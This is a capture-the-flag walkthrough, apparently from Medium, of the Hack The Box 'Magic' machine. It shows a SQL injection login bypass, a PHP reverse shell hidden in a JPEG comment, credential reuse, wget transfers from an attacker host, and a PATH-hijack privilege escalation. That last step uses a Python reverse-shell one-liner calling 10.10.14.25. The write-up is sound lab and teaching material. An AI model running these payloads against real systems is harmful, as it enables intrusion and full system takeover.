InfoSec Write-ups – Medium–
Hack The Box Walkthrough — Magic

Magic is a Medium difficulty machine from Hack the Box created by TRX. My process involved a simple SQLi, Steganography, and Binary Planting.
This is a raw walkthrough, so the process of me falling through rabbitholes upon rabbitholes are well documented here. It also reflects my thought process while I was going through the machine and I hope this can help shape how other aspiring penetration testers like me think better moving forward.
Summary:
This machine starts with a web page that has a login page that is vulnerable to SQLi. Upon successful injection, we will be redirected to a page that accepts the uploading of jpeg, jpg, and png files. These files can be weaponized for us to be able to establish a shell in system. Upon getting shell, we can traverse laterally to the other user due to a password reuse fault which then will allow us to find a binary that is susceptible to hijacking. Successful exploitation of this will ultimately lead us to establish a root shell in the system.
Throughout this walkthrough, I will be leaving superscripts as points for discussion at the very end.
Before I usually get started, I add the machine’s IP into my /etc/hosts file for easier access.
$ sudo vi /etc/hosts
~ 10.10.10.185 magic.htb
Initial Reconnaissance:
$ nmap -p- --min-rate 1000 magic.htb -oN pre-nmap
$ nmap -sC -sV -T4 -p 22,80 magic.htb -oN nmap.txt
I use the first nmap command to make sure that I’m able to cover all ports of the machine I’m testing. Once the first command returns its initial results, I then plug the available ports in the second nmap command for a more detailed look.

It’s quite straightforward, as the usual ports 22 and 80 are open in this machine.
Web Enumeration and Simple SQLi
The first one we’ll do is enumeration for the services in port 80.
Upon checking around the web application, I saw a simple login page. Tried fuzzing directories, fuzzing username and passwords, and checking for valuable hints in the code but got nothing, so I’m guessing the way forward really is SQL injection.
The SQLI cheatsheet below helped a lot:
AdmiralGaust/SQL-Injection-cheat-sheet
After a couple of tries with the usual payloads, the one below pushed through.
' or 1=1#

Image Upload Page and Reverse Shell Steganography

Upon using the above payload, we will be redirected to this page. As a sanity check, since I haven’t done any directory enumeration as of yet, I tried logging out and directly accessing https://ift.tt/3lqqmJB but it didn’t work.
As it stands, it seems that the next step is to upload a file that contains a reverse shell that we can then call externally to be able to establish a foothold in the system.

I tried uploading a .txt file to check if they sanitize their input¹ and they do. However, we’re not sure yet how sophisticated their sanitization method is so I tried to bypass it again, this time by changing the file extension of my reverse shell script. I saved the script as rev.jpgbut when I uploaded it, it returned the below error.

It seems that it detected that it’s not a legitimate jpg file, so I’m quite confident that the sanitization method involves the examination of the file’s magic bytes² to ensure that it’s a legitimate file type.
This is actually the first time that I have encountered this kind of problem, so the initial thought that came to my mind is that I need to find a way to hide a reverse shell payload within a legitimate jpg file.
The below links were very helpful in learning more about this topic and in crafting the actual payload that I used.
- xapax/security
- pentestmonkey/php-reverse-shell
- using linux how can I pass the contents of a file as a parameter to an executable?
I used the exiftool module Comment where we can write the reverse shell payload that we intend to run as a comment in an arbitrary medium. Since the web feature requires a jpg, jpeg, or a png, I used an actual picture as my medium, and then a php script from pentestmonkey as my reverse shell.
$ exiftool -Comment="$(< rev.php)" test69.jpg
Since the payload is a multi-line script, I used the $(< file) command, whereas the quotes helps preserve the whitespaces within the script.
Upon successful implementation of the steganography, it should look like this when checked via exiftool.

We then rename it as follows:
$ mv test69.jpg test6969.php.jpg
This will then be interpreted as a php file when we call it through the web server.
At this point, we have already weaponized a legitimate jpg file that is capable of bypassing the file extension check as well as the magic check. The only thing left to do is to check if it works.
On a separate terminal, setup the listener.
$ nc -nvlp 6969
Make sure that the port you use is the port you entered in the reverse shell script you uploaded.
Once we access the path where our weaponized jpg file is saved upon upload, it will look like this.

While our listener will look like this.

Initial Shell and User Theseus
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
I usually start with this command, or a variation of it to improve the shell that I have.
Whenever I get a shell as www-data, I always check the /var/www directory for artifacts that can give me clues on how I can move forward to the next user. Upon enumeration of the said directory, I saw a lot of files under /var/www/Magic , the most notable of which has a filename db.php5 .
From this file, we were able to retrieve a set of credentials which is listed below:
- username: theseus
- password: iamkingtheseus
Upon getting the credentials of theseus, I immediately tried logging in via ssh.
$ ssh theseus@magic.htb

Going back to db.php5 file, I noticed that it’s a mysql db file. Upon checking if the service is running, I saw the following:
$ systemctl status mysql

I then proceeded to dump the database using the credentials that we’ve collected earlier.
$ mysqldump --opt --user=theseus --password Magic > Magic.sql
For further reading about this, you can refer to the link attached below.
mysqldump command – how to dump (backup) a MySQL database
Checking the readable strings in the file.
$ strings Magic.sql

We found another set of credentials, however, at this point I was already confused as to where I’m going to use them, though instinctively, I tried the following command:
$ su theseus
Password: Th3s3usW4sK1ng

It seems then that the user theseus created a database user named admin for database administration purposes, however even though he created a different user, he still reused his server password³. A summary of the credentials that we retrieved is listed below.
- Database username: admin
- Database password: Th3s3usW4sK1ng
- Server username: theseus
- Server password: Th3s3usW4sK1ng
I also tried logging into the web server using the new creds that we found, however, it redirects to the same upload page that we discovered via SQLI earlier so I guess we can close the possibility of having any leads there now.
Passwordless SSH and Tool-based Privilege Escalation Enumeration
Upon manual enumeration, I realized that it was quite hassling for me to always re-login via the image upload foothold that we have established, so I made a file in /home/theseus/.ssh/authorized_keys and did the following:
$ cat ~/.ssh/id_rsa.pub | xclip -se c
In my attacking machine, I printed my public key and piped it into xclip to copy it in my clipboard.
$ echo “<public key>” >> ~/.ssh/authorized_keys
Then, in the remote machine, I appended my public key into the authorized_keys file. Replacing the file is actually frowned upon as other pentesters may be inconvenienced by this so I appended mine. (Though after this, I experienced inconsiderate skiddies rewriting the whole file. Grrrrrr. HTB VIP is worth the $$$ guys.)

So essentially that’s how you setup passwordless ssh.
To aid in our enumeration, I decided to use linpeas. You may get it in the link below.
carlospolop/privilege-escalation-awesome-scripts-suite
To transfer files from our host to the machine, I decided to setup a SimpleHTTPServer on our host, and then wget the file remotely from the victim machine
$ python -m SimpleHTTPServer 6969
- Attacking machine where the file is located
$ wget 10.10.14.25:6969/linpeas.sh
- Remote machine

Upon running linpeas, I saw a lot of interesting findings, some of which are dumped below.




However, of everything that linpeas gave me, there’s nothing that stood out at first glance. Upon sampling some of the findings, I decided to use another tool named pspy64 .
Pspy ‘spies’ over the system to track the commands done by the users on the system, cron jobs, etc as they execute, and see consequently the reaction of the system. We may use it particularly to find the services / commands that run with root privileges.
You may get it in the link below.
$ python -m SimpleHTTPServer 6970
- Attacking machine
$ wget 10.10.14.25:6970/pspy64
- Remote machine
$ chmod +x pspy64
$ ./pspy64
Upon spying over the machine for quite a while, very few triggered the reaction from root. Two of them are as follows:


We can see in the images above that the root actions are displayed with the identifier UID=0. If you’re using pspy64, this is the thing you most likely will be looking out for.
Hijacking the Sysinfo Binary and Getting Root Shell
I tried hijacking the run-parts binary that is being called, however, it seems that the environment variables are always being ignored and new ones are being hard coded into the command. This is done to precisely prevent hijacking⁴.
However, for the sysinfo sequence, no environment variables are being initialized, and only the relative paths are being called. This means we can hijack any of the commands that the binary calls.
To implement this, we execute the following:
$ export PATH=/tmp/mok:$PATH
This is to prepend a new path to the existing $PATH variable. The $PATH variable houses the paths wherein the system searches for the binary to be executed. If you prepend your own path, the system will go straight to this path first to look for the binary to be executed, and then traverse the other paths listed in the variable, if ever the binary is not present in the previous path(s).
I used this as a guide:
Adding a Path to the Linux PATH Variable – Baeldung on Linux
$ vi /tmp/mok/fdisk
~ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.25",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
After saving this, use chmod to make it an executable file.
$ chmod +x /tmp/mok/fdisk
What will happen is, when sysinfo calls the command fdisk -l, it will go straight to /tmp/mok and run fdisk. Since fdisk contains our reverse shell payload, we simply need to setup a listener and then execute the sysinfo command.
$ nc -nvlp 5678
- Attacking machine
$ sysinfo
- Remote machine

$ ifconfig | fgrep 10. | awk '{print $2}' && whoami && hostname

Additional Points for Discussion and Takeaways
- Input Sanitization is a recurring theme here in this machine, and I’d like to stress its importance because a lot of developers right now don’t really care for secure coding practices. Non-implementation, or even sloppy implementation of input sanitization methods may and will eventually lead to a ton of problems in the future. Prevention is king and a simple implementation of input validation in the SQLI part of this machine can make the foothold much more complex.
- Magic Bytes — the problem with this is that most implementations just check the first few bytes of the file to “confirm” its legitimacy, so it’s actually possible to just write a reverse shell script, put the magic bytes of the allowed file types at the very beginning, and save it with double extentions and you’ll have a working exploit. Aside from this, another good example is written by SymR my hackstreetboys teammate. You may read his writeup here.
- Password Reuse can be very understated at times. Implemented properly, it actually can function as a defense-in-depth mechanism for your assets. The password reuse part of this machine is really accurate and it’s not unusual to see it happening in the wild.
- Hijacking is one of my favorite privilege escalation methods. In this machine, we were able to hijack the sysinfo binary due to the fact that when it calls other binaries, it calls them using their relative paths. Relative paths can be very useful but they’re damn easy to hack. When employing relative paths, ensure that a meticulous set of controls has been rolled out to prevent it from becoming a privilege escalation vector.
This machine is generally straightforward. I really enjoyed the magic, as well as the hijack parts of the process. Easily one of my favorite HTB boxes.
This concludes my walkthrough. Thank you for reading!
Submitted as a part of October PentesterLab giveaway.
Hack The Box Walkthrough — Magic was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.